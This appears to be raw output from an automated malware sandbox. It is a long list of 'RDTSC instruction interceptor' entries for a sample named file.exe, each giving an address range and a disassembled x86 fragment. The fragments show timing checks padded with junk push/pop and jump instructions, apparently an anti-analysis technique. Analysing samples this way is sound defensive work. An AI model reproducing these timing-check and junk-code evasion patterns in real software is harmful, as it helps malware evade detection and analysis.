Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3609F second address: A360A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A360A3 second address: A360C0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F142CBFA9D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A360C0 second address: A3610B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push esi 0x0000000e call 00007F142CBF9DB8h 0x00000013 pop esi 0x00000014 mov dword ptr [esp+04h], esi 0x00000018 add dword ptr [esp+04h], 00000015h 0x00000020 inc esi 0x00000021 push esi 0x00000022 ret 0x00000023 pop esi 0x00000024 ret 0x00000025 add dword ptr [ebp+122D20CDh], edi 0x0000002b lea eax, dword ptr [ebp+1247ADEBh] 0x00000031 movsx ecx, ax 0x00000034 push eax 0x00000035 push eax 0x00000036 push edx 0x00000037 push eax 0x00000038 push edx 0x00000039 jmp 00007F142CBF9DBFh 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3610B second address: A36111 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A36111 second address: A1DBA8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F142CBF9DC5h 0x00000008 push eax 0x00000009 pop eax 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp], eax 0x00000010 push 00000000h 0x00000012 push edi 0x00000013 call 00007F142CBF9DB8h 0x00000018 pop edi 0x00000019 mov dword ptr [esp+04h], edi 0x0000001d add dword ptr [esp+04h], 0000001Ch 0x00000025 inc edi 0x00000026 push edi 0x00000027 ret 0x00000028 pop edi 0x00000029 ret 0x0000002a push edx 0x0000002b pushad 0x0000002c and edi, 691C28AEh 0x00000032 or dword ptr [ebp+122D20EFh], edi 0x00000038 popad 0x00000039 pop ecx 0x0000003a call dword ptr [ebp+122D3543h] 0x00000040 pushad 0x00000041 pushad 0x00000042 pushad 0x00000043 popad 0x00000044 push eax 0x00000045 push edx 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A361D0 second address: A361D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A361D4 second address: A36200 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F142CBF9DBBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007F142CBF9DC5h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A36200 second address: A36207 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A36577 second address: A3657B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A367D4 second address: A367DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A367DD second address: A367E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A367E1 second address: A367F0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A367F0 second address: A367FA instructions: 0x00000000 rdtsc 0x00000002 jne 00007F142CBF9DB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A36957 second address: A36961 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F142CBFA9C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A36961 second address: A36967 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A36967 second address: A3696B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3696B second address: A3697A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3697A second address: A3697E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3697E second address: A36984 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A36984 second address: A3698B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A37302 second address: A37306 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A37306 second address: A3730A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3730A second address: A37314 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A37314 second address: A37342 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b jmp 00007F142CBFA9CAh 0x00000010 mov eax, dword ptr [eax] 0x00000012 push eax 0x00000013 jmp 00007F142CBFA9CDh 0x00000018 pop eax 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d push ebx 0x0000001e push ecx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A37432 second address: A37448 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F142CBF9DC2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A37448 second address: A3749D instructions: 0x00000000 rdtsc 0x00000002 jng 00007F142CBFA9C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007F142CBFA9D4h 0x00000012 nop 0x00000013 clc 0x00000014 lea eax, dword ptr [ebp+1247ADEBh] 0x0000001a jmp 00007F142CBFA9CBh 0x0000001f nop 0x00000020 jl 00007F142CBFA9CEh 0x00000026 push esi 0x00000027 ja 00007F142CBFA9C6h 0x0000002d pop esi 0x0000002e push eax 0x0000002f pushad 0x00000030 push ebx 0x00000031 jmp 00007F142CBFA9CAh 0x00000036 pop ebx 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3749D second address: A374A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A374A1 second address: A1E686 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ecx 0x0000000b call 00007F142CBFA9C8h 0x00000010 pop ecx 0x00000011 mov dword ptr [esp+04h], ecx 0x00000015 add dword ptr [esp+04h], 00000018h 0x0000001d inc ecx 0x0000001e push ecx 0x0000001f ret 0x00000020 pop ecx 0x00000021 ret 0x00000022 movzx ecx, di 0x00000025 mov edi, dword ptr [ebp+122D2AF0h] 0x0000002b mov ecx, dword ptr [ebp+122D2A24h] 0x00000031 call dword ptr [ebp+122D3555h] 0x00000037 jng 00007F142CBFA9E0h 0x0000003d push eax 0x0000003e push edx 0x0000003f pushad 0x00000040 popad 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1E686 second address: A1E690 instructions: 0x00000000 rdtsc 0x00000002 je 00007F142CBF9DB6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A73E41 second address: A73E63 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F142CBFA9D6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jc 00007F142CBFA9D2h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A73FEE second address: A74010 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F142CBF9DC8h 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A74010 second address: A74018 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A74468 second address: A74479 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F142CBF9DB6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A74479 second address: A74485 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jng 00007F142CBFA9C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A74626 second address: A7462C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7A419 second address: A7A437 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F142CBFA9D8h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A792F7 second address: A792FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A792FB second address: A79301 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7944B second address: A79457 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F142CBF9DB6h 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A79716 second address: A79722 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A79722 second address: A79726 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7989D second address: A798A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A78EE3 second address: A78EEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A78EEA second address: A78EF6 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F142CBFA9CEh 0x00000008 push edi 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A79B79 second address: A79BA0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push esi 0x00000009 jmp 00007F142CBF9DC7h 0x0000000e pushad 0x0000000f popad 0x00000010 pop esi 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A79BA0 second address: A79BA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A79D3C second address: A79D89 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F142CBF9DC2h 0x00000008 push edx 0x00000009 pop edx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e pushad 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 jl 00007F142CBF9DB6h 0x00000017 jc 00007F142CBF9DB6h 0x0000001d popad 0x0000001e push edx 0x0000001f push eax 0x00000020 pop eax 0x00000021 pop edx 0x00000022 pushad 0x00000023 push edx 0x00000024 pop edx 0x00000025 jp 00007F142CBF9DB6h 0x0000002b pushad 0x0000002c popad 0x0000002d pushad 0x0000002e popad 0x0000002f popad 0x00000030 push eax 0x00000031 push edx 0x00000032 jmp 00007F142CBF9DBEh 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A79F40 second address: A79F7D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F142CBFA9D6h 0x00000007 jne 00007F142CBFA9CAh 0x0000000d pushad 0x0000000e popad 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 pop edx 0x00000012 pop eax 0x00000013 pushad 0x00000014 pushad 0x00000015 jng 00007F142CBFA9C6h 0x0000001b jno 00007F142CBFA9C6h 0x00000021 popad 0x00000022 push eax 0x00000023 push edx 0x00000024 jbe 00007F142CBFA9C6h 0x0000002a push eax 0x0000002b pop eax 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8026D second address: A80272 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7EFB3 second address: A7EFB9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7EFB9 second address: A7EFBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7F402 second address: A7F41D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F142CBFA9D5h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7F9EF second address: A7F9F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7F9F3 second address: A7F9F8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7F9F8 second address: A7FA11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F142CBF9DBBh 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7FA11 second address: A7FA15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7FA15 second address: A7FA19 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7FBA1 second address: A7FBA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7FBA7 second address: A7FBAB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7FBAB second address: A7FBB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A80092 second address: A80096 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A80096 second address: A8009F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8009F second address: A800A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A800A4 second address: A800BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F142CBFA9C6h 0x0000000a jmp 00007F142CBFA9D0h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A800BE second address: A800E2 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F142CBF9DC6h 0x0000000d jnp 00007F142CBF9DB6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A800E2 second address: A800E8 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A800E8 second address: A80108 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F142CBF9DC2h 0x0000000f push esi 0x00000010 push edx 0x00000011 pop edx 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7E8CC second address: A7E8D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A81D70 second address: A81D82 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jno 00007F142CBF9DB6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f pop edi 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A86644 second address: A8665C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F142CBFA9D4h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A86059 second address: A8605F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8605F second address: A8606B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F142CBFA9C6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8606B second address: A86079 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 pushad 0x00000007 popad 0x00000008 pop esi 0x00000009 push ebx 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A86079 second address: A8608F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F142CBFA9CEh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A861F1 second address: A86211 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F142CBF9DC8h 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A86211 second address: A86215 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A88B51 second address: A88B56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8868A second address: A886C9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F142CBFA9CDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a jmp 00007F142CBFA9CFh 0x0000000f pushad 0x00000010 popad 0x00000011 pop esi 0x00000012 push eax 0x00000013 pushad 0x00000014 popad 0x00000015 jmp 00007F142CBFA9D4h 0x0000001a pop eax 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A887FB second address: A88808 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jnc 00007F142CBF9DB6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A88808 second address: A88810 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A88810 second address: A88818 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A88818 second address: A8881C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8881C second address: A88829 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F142CBF9DB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A88829 second address: A8883D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F142CBFA9C6h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 push esi 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8883D second address: A88863 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F142CBF9DBFh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jnp 00007F142CBF9DBEh 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8CF05 second address: A8CF09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8D191 second address: A8D197 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8D197 second address: A8D1A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007F142CBFA9CAh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8D370 second address: A8D374 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8D374 second address: A8D37C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8D37C second address: A8D396 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F142CBF9DC5h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8D621 second address: A8D62B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F142CBFA9C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8D62B second address: A8D637 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8D637 second address: A8D63B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
